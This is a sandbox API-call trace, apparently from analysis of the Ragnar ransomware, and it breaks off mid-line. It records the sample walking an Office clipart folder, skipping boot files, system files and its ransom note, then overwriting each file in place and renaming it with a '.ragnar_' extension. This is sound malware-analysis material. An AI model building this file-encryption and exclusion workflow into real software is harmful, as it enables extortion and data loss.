1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="bootfont.bin") returned 1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="bootsect.bak") returned 1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="bootmgr") returned 1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="bootmgr.efi") returned 1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="bootmgfw.efi") returned 1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="desktop.ini") returned 1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="iconcache.db") returned 1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="ntldr") returned -1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="ntuser.dat") returned -1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="ntuser.dat.log") returned -1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="ntuser.ini") returned -1 [0085.393] lstrcmpiW (lpString1="J0185670.WMF", lpString2="thumbs.db") returned -1 [0085.393] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.393] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.393] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.393] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.393] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.393] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.393] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf")) returned 0x20 [0085.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.394] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7304) returned 1 [0085.394] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.394] GetProcessHeap () returned 0x580000 [0085.394] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.394] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.396] VirtualAlloc (lpAddress=0x0, dwSize=0x1c88, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.396] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.396] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.396] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c88, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c88, lpOverlapped=0x0) returned 1 [0085.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.397] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c88, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.397] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c88, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c88, lpOverlapped=0x0) returned 1 [0085.397] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c88, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.397] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.397] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.397] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.398] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.398] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.398] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.398] GetProcessHeap () returned 0x580000 [0085.398] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.398] CloseHandle (hObject=0xf4) returned 1 [0085.398] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" [0085.398] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.ragnar_FD7BD9FC" [0085.398] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.399] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185774.WMF", cAlternateFileName="")) returned 1 [0085.399] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.399] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185774.WMF" | out: lpString1="J0185774.WMF") returned="J0185774.WMF" [0085.399] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned=".WMF" [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="autorun.inf") returned 1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="boot.ini") returned 1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="bootfont.bin") returned 1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="bootsect.bak") returned 1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="bootmgr") returned 1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="bootmgr.efi") returned 1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="bootmgfw.efi") returned 1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="desktop.ini") returned 1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="iconcache.db") returned 1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="ntldr") returned -1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="ntuser.dat") returned -1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="ntuser.dat.log") returned -1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="ntuser.ini") returned -1 [0085.399] lstrcmpiW (lpString1="J0185774.WMF", lpString2="thumbs.db") returned -1 [0085.399] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.399] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.399] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.399] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.399] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.399] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.399] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf")) returned 0x20 [0085.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.400] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20038) returned 1 [0085.400] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4e3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.400] GetProcessHeap () returned 0x580000 [0085.400] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.400] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.403] VirtualAlloc (lpAddress=0x0, dwSize=0x4e46, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.403] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.403] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4e46, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4e46, lpOverlapped=0x0) returned 1 [0085.404] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.405] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4e46, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.405] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4e46, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4e46, lpOverlapped=0x0) returned 1 [0085.405] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4e46, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.405] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.405] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4e46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.405] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.405] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.405] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.406] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.406] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.406] GetProcessHeap () returned 0x580000 [0085.406] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.406] CloseHandle (hObject=0xf4) returned 1 [0085.406] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" [0085.406] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.ragnar_FD7BD9FC" [0085.406] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.406] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185776.WMF", cAlternateFileName="")) returned 1 [0085.407] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.407] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185776.WMF" | out: lpString1="J0185776.WMF") returned="J0185776.WMF" [0085.407] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned=".WMF" [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="autorun.inf") returned 1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="boot.ini") returned 1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="bootfont.bin") returned 1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="bootsect.bak") returned 1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="bootmgr") returned 1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="bootmgr.efi") returned 1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="bootmgfw.efi") returned 1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="desktop.ini") returned 1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="iconcache.db") returned 1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="ntldr") returned -1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="ntuser.dat") returned -1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="ntuser.dat.log") returned -1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="ntuser.ini") returned -1 [0085.407] lstrcmpiW (lpString1="J0185776.WMF", lpString2="thumbs.db") returned -1 [0085.407] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.407] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.407] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.407] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.407] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.407] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.407] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf")) returned 0x20 [0085.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.408] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27096) returned 1 [0085.408] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x69cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.408] GetProcessHeap () returned 0x580000 [0085.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.408] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.409] VirtualAlloc (lpAddress=0x0, dwSize=0x69d8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.409] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.410] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x69d8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x69d8, lpOverlapped=0x0) returned 1 [0085.411] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.411] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x69d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.411] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x69d8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x69d8, lpOverlapped=0x0) returned 1 [0085.411] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x69d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.411] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.411] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x69d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.412] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.412] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.412] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.412] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.412] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.412] GetProcessHeap () returned 0x580000 [0085.412] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.412] CloseHandle (hObject=0xf4) returned 1 [0085.412] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" [0085.412] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.ragnar_FD7BD9FC" [0085.412] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.413] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185778.WMF", cAlternateFileName="")) returned 1 [0085.413] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.413] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185778.WMF" | out: lpString1="J0185778.WMF") returned="J0185778.WMF" [0085.413] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned=".WMF" [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="autorun.inf") returned 1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="boot.ini") returned 1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="bootfont.bin") returned 1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="bootsect.bak") returned 1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="bootmgr") returned 1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="bootmgr.efi") returned 1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="bootmgfw.efi") returned 1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="desktop.ini") returned 1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="iconcache.db") returned 1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="ntldr") returned -1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="ntuser.dat") returned -1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="ntuser.dat.log") returned -1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="ntuser.ini") returned -1 [0085.413] lstrcmpiW (lpString1="J0185778.WMF", lpString2="thumbs.db") returned -1 [0085.413] lstrcmpiW 